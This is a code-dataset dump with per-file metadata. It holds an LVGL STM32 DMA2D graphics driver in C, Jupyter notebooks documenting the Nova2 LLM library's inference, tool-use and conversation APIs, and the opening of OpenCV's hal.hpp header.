* @param buf_w width of the buffer in pixels
* @param map an "image" to copy
* @param opa opacity of `map`
* @param map_w width of the map in pixels
* @param copy_w width of the area to copy in pixels (<= buf_w)
* @param copy_h height of the area to copy in pixels
* @note `map_w - fill_w` is offset to the next line after copy
*/
void lv_gpu_stm32_dma2d_blend(lv_color_t * buf, lv_coord_t buf_w, const lv_color_t * map, lv_opa_t opa,
lv_coord_t map_w, lv_coord_t copy_w, lv_coord_t copy_h);
/**********************
* MACROS
**********************/
#ifdef __cplusplus
} /* extern "C" */
#endif
#endif /*LV_GPU_STM32_DMA2D_H*/
| 3,391 | lv_gpu_stm32_dma2d | h | en | c | code | {"qsc_code_num_words": 578, "qsc_code_num_chars": 3391.0, "qsc_code_mean_word_length": 3.57439446, "qsc_code_frac_words_unique": 0.183391, "qsc_code_frac_chars_top_2grams": 0.02710552, "qsc_code_frac_chars_top_3grams": 0.05421104, "qsc_code_frac_chars_top_4grams": 0.06534366, "qsc_code_frac_chars_dupe_5grams": 0.71587609, "qsc_code_frac_chars_dupe_6grams": 0.65053243, "qsc_code_frac_chars_dupe_7grams": 0.65053243, "qsc_code_frac_chars_dupe_8grams": 0.642788, "qsc_code_frac_chars_dupe_9grams": 0.60987415, "qsc_code_frac_chars_dupe_10grams": 0.57986447, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02316025, "qsc_code_frac_chars_whitespace": 0.21055736, "qsc_code_size_file_byte": 3391.0, "qsc_code_num_lines": 102.0, "qsc_code_num_chars_line_max": 114.0, "qsc_code_num_chars_line_mean": 33.24509804, "qsc_code_frac_chars_alphabet": 0.74859918, "qsc_code_frac_chars_comments": 0.67236803, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.2, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.03780378, "qsc_code_frac_chars_long_word_length": 0.01890189, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.2, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 1.0, "qsc_codec_score_lines_no_logic": 0.28, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/components/lvgl_gui/lvgl/src/lv_gpu/lv_gpu_stm32_dma2d.c | /**
* @file lv_gpu_stm32_dma2d.c
*
*/
/*********************
* INCLUDES
*********************/
#include "lv_gpu_stm32_dma2d.h"
#include "../lv_core/lv_refr.h"
#if LV_USE_GPU_STM32_DMA2D
#include LV_GPU_DMA2D_CMSIS_INCLUDE
/*********************
* DEFINES
*********************/
#if LV_COLOR_16_SWAP
// TODO: F7 has red blue swap bit in control register for all layers and output
#error "Can't use DMA2D with LV_COLOR_16_SWAP 1"
#endif
#if LV_COLOR_DEPTH == 8
#error "Can't use DMA2D with LV_COLOR_DEPTH == 8"
#endif
#if LV_COLOR_DEPTH == 16
#define LV_DMA2D_COLOR_FORMAT LV_DMA2D_RGB565
#elif LV_COLOR_DEPTH == 32
#define LV_DMA2D_COLOR_FORMAT LV_DMA2D_ARGB8888
#else
/*Can't use GPU with other formats*/
#endif
/**********************
* TYPEDEFS
**********************/
/**********************
* STATIC PROTOTYPES
**********************/
static void invalidate_cache(void);
static void dma2d_wait(void);
/**********************
* STATIC VARIABLES
**********************/
/**********************
* MACROS
**********************/
/**********************
* GLOBAL FUNCTIONS
**********************/
/**
* Turn on the peripheral and set output color mode, this only needs to be done once
*/
void lv_gpu_stm32_dma2d_init(void)
{
/* Enable DMA2D clock */
RCC->AHB1ENR |= RCC_AHB1ENR_DMA2DEN;
/* Delay after setting peripheral clock */
volatile uint32_t temp = RCC->AHB1ENR;
/* set output colour mode */
DMA2D->OPFCCR = LV_DMA2D_COLOR_FORMAT;
}
/**
* Fill an area in the buffer with a color
* @param buf a buffer which should be filled
* @param buf_w width of the buffer in pixels
* @param color fill color
* @param fill_w width to fill in pixels (<= buf_w)
* @param fill_h height to fill in pixels
* @note `buf_w - fill_w` is offset to the next line after fill
*/
void lv_gpu_stm32_dma2d_fill(lv_color_t * buf, lv_coord_t buf_w, lv_color_t color, lv_coord_t fill_w, lv_coord_t fill_h)
{
invalidate_cache();
DMA2D->CR = 0x30000;
DMA2D->OMAR = (uint32_t)buf;
/* as input color mode is same as output we don't need to convert here do we? */
DMA2D->OCOLR = color.full;
DMA2D->OOR = buf_w - fill_w;
DMA2D->NLR = (fill_w << DMA2D_NLR_PL_Pos) | (fill_h << DMA2D_NLR_NL_Pos);
/* start transfer */
DMA2D->CR |= DMA2D_CR_START_Msk;
dma2d_wait();
}
/**
* Fill an area in the buffer with a color but take into account a mask which describes the opacity of each pixel
* @param buf a buffer which should be filled using a mask
* @param buf_w width of the buffer in pixels
* @param color fill color
* @param mask 0..255 values describing the opacity of the corresponding pixel. It's width is `fill_w`
* @param opa overall opacity. 255 in `mask` should mean this opacity.
* @param fill_w width to fill in pixels (<= buf_w)
* @param fill_h height to fill in pixels
* @note `buf_w - fill_w` is offset to the next line after fill
*/
void lv_gpu_stm32_dma2d_fill_mask(lv_color_t * buf, lv_coord_t buf_w, lv_color_t color, const lv_opa_t * mask,
lv_opa_t opa, lv_coord_t fill_w, lv_coord_t fill_h)
{
#if 0
invalidate_cache();
/* Configure the DMA2D Mode, Color Mode and line output offset */
hdma2d.Init.Mode = DMA2D_M2M_BLEND;
hdma2d.Init.ColorMode = DMA2D_OUTPUT_FORMAT;
hdma2d.Init.OutputOffset = buf_w - fill_w;
/* Configure the foreground -> The character */
lv_color32_t c32;
c32.full = lv_color_to32(color);
c32.ch.alpha = opa;
hdma2d.LayerCfg[1].AlphaMode = DMA2D_COMBINE_ALPHA;
hdma2d.LayerCfg[1].InputAlpha = c32.full;
hdma2d.LayerCfg[1].InputColorMode = DMA2D_INPUT_A8;
hdma2d.LayerCfg[1].InputOffset = 0;
/* Configure the background -> Display buffer */
hdma2d.LayerCfg[0].AlphaMode = DMA2D_NO_MODIF_ALPHA;
hdma2d.LayerCfg[0].InputAlpha = 0x00;
hdma2d.LayerCfg[0].InputColorMode = DMA2D_INPUT_FORMAT;
hdma2d.LayerCfg[0].InputOffset = buf_w - fill_w;
/* DMA2D Initialization */
HAL_DMA2D_Init(&hdma2d);
HAL_DMA2D_ConfigLayer(&hdma2d, 0);
HAL_DMA2D_ConfigLayer(&hdma2d, 1);
HAL_DMA2D_BlendingStart(&hdma2d, (uint32_t) mask, (uint32_t) buf, (uint32_t)buf, fill_w, fill_h);
dma2d_wait();
#endif
}
/**
* Copy a map (typically RGB image) to a buffer
* @param buf a buffer where map should be copied
* @param buf_w width of the buffer in pixels
* @param map an "image" to copy
* @param map_w width of the map in pixels
* @param copy_w width of the area to copy in pixels (<= buf_w)
* @param copy_h height of the area to copy in pixels
* @note `map_w - fill_w` is offset to the next line after copy
*/
void lv_gpu_stm32_dma2d_copy(lv_color_t * buf, lv_coord_t buf_w, const lv_color_t * map, lv_coord_t map_w,
lv_coord_t copy_w, lv_coord_t copy_h)
{
invalidate_cache();
DMA2D->CR = 0;
/* copy output colour mode, this register controls both input and output colour format */
DMA2D->FGPFCCR = LV_DMA2D_COLOR_FORMAT;
DMA2D->FGMAR = (uint32_t)map;
DMA2D->FGOR = map_w - copy_w;
DMA2D->OMAR = (uint32_t)buf;
DMA2D->OOR = buf_w - copy_w;
DMA2D->NLR = (copy_w << DMA2D_NLR_PL_Pos) | (copy_h << DMA2D_NLR_NL_Pos);
/* start transfer */
DMA2D->CR |= DMA2D_CR_START_Msk;
dma2d_wait();
}
/**
* Blend a map (e.g. ARGB image or RGB image with opacity) to a buffer
* @param buf a buffer where `map` should be copied
* @param buf_w width of the buffer in pixels
* @param map an "image" to copy
* @param opa opacity of `map`
* @param map_w width of the map in pixels
* @param copy_w width of the area to copy in pixels (<= buf_w)
* @param copy_h height of the area to copy in pixels
* @note `map_w - fill_w` is offset to the next line after copy
*/
void lv_gpu_stm32_dma2d_blend(lv_color_t * buf, lv_coord_t buf_w, const lv_color_t * map, lv_opa_t opa,
lv_coord_t map_w, lv_coord_t copy_w, lv_coord_t copy_h)
{
invalidate_cache();
DMA2D->CR = 0x20000;
DMA2D->BGPFCCR = LV_DMA2D_COLOR_FORMAT;
DMA2D->BGMAR = (uint32_t)buf;
DMA2D->BGOR = buf_w - copy_w;
DMA2D->FGPFCCR = (uint32_t)LV_DMA2D_COLOR_FORMAT
/* alpha mode 2, replace with foreground * alpha value */
| (2 << DMA2D_FGPFCCR_AM_Pos)
/* alpha value */
| (opa << DMA2D_FGPFCCR_ALPHA_Pos);
DMA2D->FGMAR = (uint32_t)map;
DMA2D->FGOR = map_w - copy_w;
DMA2D->OMAR = (uint32_t)buf;
DMA2D->OOR = buf_w - copy_w;
DMA2D->NLR = (copy_w << DMA2D_NLR_PL_Pos) | (copy_h << DMA2D_NLR_NL_Pos);
/* start transfer */
DMA2D->CR |= DMA2D_CR_START_Msk;
dma2d_wait();
}
/**********************
* STATIC FUNCTIONS
**********************/
static void invalidate_cache(void)
{
#if __DCACHE_PRESENT
if(SCB->CCR & (uint32_t)SCB_CCR_DC_Msk) {
SCB_CleanInvalidateDCache();
}
#endif
}
static void dma2d_wait(void)
{
lv_disp_t * disp = _lv_refr_get_disp_refreshing();
while(DMA2D->CR & DMA2D_CR_START_Msk) {
if(disp->driver.wait_cb) disp->driver.wait_cb(&disp->driver);
}
}
#endif
| 7,231 | lv_gpu_stm32_dma2d | c | en | c | code | {"qsc_code_num_words": 1091, "qsc_code_num_chars": 7231.0, "qsc_code_mean_word_length": 3.9715857, "qsc_code_frac_words_unique": 0.1979835, "qsc_code_frac_chars_top_2grams": 0.01846296, "qsc_code_frac_chars_top_3grams": 0.02584814, "qsc_code_frac_chars_top_4grams": 0.02030925, "qsc_code_frac_chars_dupe_5grams": 0.5195015, "qsc_code_frac_chars_dupe_6grams": 0.45049619, "qsc_code_frac_chars_dupe_7grams": 0.43572583, "qsc_code_frac_chars_dupe_8grams": 0.41772444, "qsc_code_frac_chars_dupe_9grams": 0.38910685, "qsc_code_frac_chars_dupe_10grams": 0.37479806, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03636364, "qsc_code_frac_chars_whitespace": 0.21656756, "qsc_code_size_file_byte": 7231.0, "qsc_code_num_lines": 234.0, "qsc_code_num_chars_line_max": 121.0, "qsc_code_num_chars_line_mean": 30.9017094, "qsc_code_frac_chars_alphabet": 0.72850838, "qsc_code_frac_chars_comments": 0.40976352, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.24561404, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.02788191, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00421743, "qsc_code_frac_lines_prompt_comments": 0.0042735, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.0877193, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.10526316, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": 0.18421053} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
00Julian00/Nova2 | examples/1. LLM/1.1 Running inference.ipynb | {
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# 1.1 Running inference on an LLM (Large-Language-Model)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"The LLM is the core of the whole Nova system. It understands the users request and can not only answer them but also act on them using tools. This notebook will show you how to interact with the LLM system."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Run this code so python can find the scripts. This is not required when importing Nova from outside the root folder."
]
},
{
"cell_type": "code",
"execution_count": 6,
"metadata": {},
"outputs": [],
"source": [
"import sys\n",
"from pathlib import Path\n",
"nova_path = Path().absolute().parent.parent.parent\n",
"if str(nova_path) not in sys.path:\n",
" sys.path.insert(0, str(nova_path))"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Import the Nova class and create an instance. This is the API for Nova and everything you can do with Nova you do through this class."
]
},
{
"cell_type": "code",
"execution_count": 7,
"metadata": {},
"outputs": [],
"source": [
"from nova import *\n",
"\n",
"nova = Nova()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Before we can run inference on an LLM, we need to set up a few things. \n",
"You will need to choose an inference engine. This is essentially what service/system you want to use to run the LLM. By default Nova comes with 2 inference engine. One using [LlamaCPP](https://github.com/ggml-org/llama.cpp) and one using [Groq](https://groq.com/):"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# LLamaCPP:\n",
"inference_engine = InferenceEngineLlamaCPP()\n",
"\n",
"# Groq:\n",
"inference_engine = InferenceEngineGroq()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Now you will need to create an LLMConditioning. This is essentially an object that contains all parameters required to run the LLM. Note that the exact parameters can vary from engine to engine. Below are examples for both LlamaCPP and Groq."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# LLamaCPP conditioning:\n",
"conditioning = LLMConditioning(\n",
" model=\"bartowski/Qwen2.5-7B-Instruct-1M-GGUF\",\n",
" file=\"*Q8_0.gguf\"\n",
")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Parameters: \n",
"- model: This must be a valid huggingface repo ID. Note that the model must be in GGUF format. \n",
"- file: The name of the file to use."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Groq conditioning:\n",
"conditioning = LLMConditioning(\n",
" model=\"llama-3.2-90b-vision-preview\"\n",
")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Parameters: \n",
"- model: Which model to use. Make sure it is one of the model hosted on [Groq](https://groq.com/)."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"If you are using Groq as your inference engine, you will need to set your API key. The key will be encrypted and stored in a database. Next time Nova needs the API key, it will just retrieve it in the background so you do not have to parse it everytime."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"nova.edit_secret(Secrets.GROQ_API, \"YOUR-API-KEY\")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"If you are using an engine that pulls the model from huggingface it is also a good idea to log in so you gain access to gated repos. Just like API keys, your huggingface token will be encrypted and stored."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"nova.huggingface_login(overwrite=True, token=\"YOUR-HF-TOKEN\")\n",
"\n",
"# Next time you want to log into huggingface run:\n",
"nova.huggingface_login()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Now you need to configure the LLM system by parsing the inference engine and the conditioning."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"nova.configure_llm(inference_engine=inference_engine, conditioning=conditioning)\n",
"\n",
"# You need to apply your new configuration.\n",
"# Only after applying the configuration will the model be loaded into memory.\n",
"nova.apply_config_llm()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"The LLM is now ready to be used. The LLM system takes in a \"Conversation object\" containing a list of messages. \n",
"Here is a simple example showing you how to set up a chat with the LLM:"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# 1. Create a new conversation\n",
"conversation = Conversation()\n",
"\n",
"# 2. Create a message object\n",
"message = \"What are the benefits of open source AI?\"\n",
"user_message = Message(author=\"user\", content=message)\n",
"\n",
"# 3. Add the message to the conversation\n",
"conversation.add_message(user_message)\n",
"\n",
"# 4. Run the LLM.\n",
"llm_response = nova.run_llm(conversation=conversation)\n",
"\n",
"# 5. Print the result of the LLM\n",
"llm_response_text = llm_response.message\n",
"print(f\"Assistant: {llm_response_text}\")"
]
}
],
"metadata": {
"kernelspec": {
"display_name": "base",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.11.7"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
| 6,460 | 1.1 Running inference | ipynb | en | jupyter notebook | excluded | {} | 0 | {} |
00Julian00/Nova2 | examples/1. LLM/1.4 Conversations.ipynb | {
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# 1.4 The Conversation object"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"The conversation object is the representation of your conversation with the LLM. It provides a few functionalities to modify the conversation:"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Run this code so python can find the scripts. This is not required when importing Nova from outside the root folder."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"import sys\n",
"from pathlib import Path\n",
"nova_path = Path().absolute().parent.parent.parent\n",
"if str(nova_path) not in sys.path:\n",
" sys.path.insert(0, str(nova_path))"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Create a new instance of the Nova class as always."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"from nova import *\n",
"\n",
"nova = Nova()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"We will create a new conversation object. You can also get a conversation object from context. More about that in 3.2."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"conversation = Conversation()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"At the moment, the conversation does not contain any data. Keep in mind that almost all functionality of the conversation object requires the object to contain actual data."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Adding a new message to the conversation:"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"To add a new message to the conversation, first create a new message object. You can pick from one of 3 authors:\n",
"- User is a message from the user\n",
"- Assistant is a message from the LLM\n",
"- System is a message that instructs the LLM to behave in a specific way."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"message = Message(\n",
" author=\"user\",\n",
" content=\"Hello World.\"\n",
")\n",
"\n",
"conversation.add_message(message=message)\n",
"\n",
"# You can also run 'conversation.add_messages()' with a list of messages to add multiple messages at a time."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Deleting messages:"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"You can either delete the newest message or all messages from a certain author:"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Delete the newest message in the conversation\n",
"conversation.delete_newest()\n",
"\n",
"# You can also delete the newest message from a specific author\n",
"conversation.delete_newest(author=\"assistant\")\n",
"\n",
"# Or you can delete all messages from an author\n",
"conversation.delete_all_from(author=\"system\")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Getting the newest message:"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"You can also get the newest message in the conversation. Like before you can choose to get the overall newest message or the newest message from a specified author."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"# Attention: get_newest() will return None if no message was found.\n",
"newest_message = conversation.get_newest()\n",
"\n",
"newest_message_from_user = conversation.get_newest(author=\"user\")"
]
}
],
"metadata": {
"kernelspec": {
"display_name": "base",
"language": "python",
"name": "python3"
},
"language_info": {
"name": "python",
"version": "3.11.7"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
| 4,357 | 1.4 Conversations | ipynb | en | jupyter notebook | excluded | {} | 0 | {} |
00Julian00/Nova2 | examples/1. LLM/1.2 Tool use.ipynb | {
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# 1.2 Tool use"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Tools are scripts that can extend the functionality of an LLM. It allows the LLM to run scripts and parse parameters at the appropriate time. This notebook shows you how to load tools and execute them."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Run this code so python can find the scripts. This is not required when importing Nova from outside the root folder."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"import sys\n",
"from pathlib import Path\n",
"nova_path = Path().absolute().parent.parent.parent\n",
"if str(nova_path) not in sys.path:\n",
" sys.path.insert(0, str(nova_path))"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"We will start to set up our LLM like in [1.1](1.1%20running%20inference.ipynb):"
]
},
{
"cell_type": "code",
"execution_count": 2,
"metadata": {},
"outputs": [],
"source": [
"from nova import *\n",
"\n",
"nova = Nova()\n",
"\n",
"inference_engine = InferenceEngineLlamaCPP()\n",
"conditioning = LLMConditioning(\n",
" model=\"bartowski/Qwen2.5-7B-Instruct-1M-GGUF\",\n",
" file=\"*Q8_0.gguf\"\n",
")\n",
"\n",
"nova.configure_llm(inference_engine=inference_engine, conditioning=conditioning)\n",
"nova.apply_config_llm()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Before the LLM can call tools, we need to load them first. "
]
},
{
"cell_type": "code",
"execution_count": 3,
"metadata": {},
"outputs": [],
"source": [
"tools = nova.load_tools()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"\"tools\" now contains all our loaded tools. Note that if a tool failed to load it will not be in the list. \n",
"All we need to do now is to parse our list of tools to the LLM when running inference:"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"conversation = Conversation()\n",
"\n",
"message = \"Your message here\"\n",
"user_message = Message(author=\"user\", content=message)\n",
"conversation.add_message(user_message)\n",
"\n",
"llm_response = nova.run_llm(conversation=conversation, tools=tools)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"All that is left is to execute the tool calls. This will run the scripts associated with the tool."
]
},
{
"cell_type": "code",
"execution_count": 6,
"metadata": {},
"outputs": [],
"source": [
"nova.execute_tool_calls(llm_response)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"\"load_tools()\" loads all tools found in the \"tools\" folder, but you also have more fine-grained control over which tools are loaded. \n",
"Parameters: \n",
"- load_internal_tools: Whether the built-in tools should be loaded. It is recommended set this to \"True\", as otherwise the LLM loses access to some core functionality. \n",
"- include: A list of tools you want to load. Acts as a whitelist. Is incompatible with \"exclude\". \n",
"- exclude: A list of tools you don't want to load. Acts as a blacklist. Is incompatible with \"include\"."
]
}
],
"metadata": {
"kernelspec": {
"display_name": "base",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.11.7"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
| 4,025 | 1.2 Tool use | ipynb | en | jupyter notebook | excluded | {} | 0 | {} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/hal/hal.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Copyright (C) 2015, Itseez Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_HAL_HPP
#define OPENCV_HAL_HPP
#include "opencv2/core/cvdef.h"
#include "opencv2/core/cvstd.hpp"
#include "opencv2/core/hal/interface.h"
namespace cv { namespace hal {
//! @addtogroup core_hal_functions
//! @{
CV_EXPORTS int normHamming(const uchar* a, int n);
CV_EXPORTS int normHamming(const uchar* a, const uchar* b, int n);
CV_EXPORTS int normHamming(const uchar* a, int n, int cellSize);
CV_EXPORTS int normHamming(const uchar* a, const uchar* b, int n, int cellSize);
CV_EXPORTS int LU32f(float* A, size_t astep, int m, float* b, size_t bstep, int n);
CV_EXPORTS int LU64f(double* A, size_t astep, int m, double* b, size_t bstep, int n);
CV_EXPORTS bool Cholesky32f(float* A, size_t astep, int m, float* b, size_t bstep, int n);
CV_EXPORTS bool Cholesky64f(double* A, size_t astep, int m, double* b, size_t bstep, int n);
CV_EXPORTS void SVD32f(float* At, size_t astep, float* W, float* U, size_t ustep, float* Vt, size_t vstep, int m, int n, int flags);
CV_EXPORTS void SVD64f(double* At, size_t astep, double* W, double* U, size_t ustep, double* Vt, size_t vstep, int m, int n, int flags);
CV_EXPORTS int QR32f(float* A, size_t astep, int m, int n, int k, float* b, size_t bstep, float* hFactors);
CV_EXPORTS int QR64f(double* A, size_t astep, int m, int n, int k, double* b, size_t bstep, double* hFactors);
CV_EXPORTS void gemm32f(const float* src1, size_t src1_step, const float* src2, size_t src2_step,
float alpha, const float* src3, size_t src3_step, float beta, float* dst, size_t dst_step,
int m_a, int n_a, int n_d, int flags);
CV_EXPORTS void gemm64f(const double* src1, size_t src1_step, const double* src2, size_t src2_step,
double alpha, const double* src3, size_t src3_step, double beta, double* dst, size_t dst_step,
int m_a, int n_a, int n_d, int flags);
CV_EXPORTS void gemm32fc(const float* src1, size_t src1_step, const float* src2, size_t src2_step,
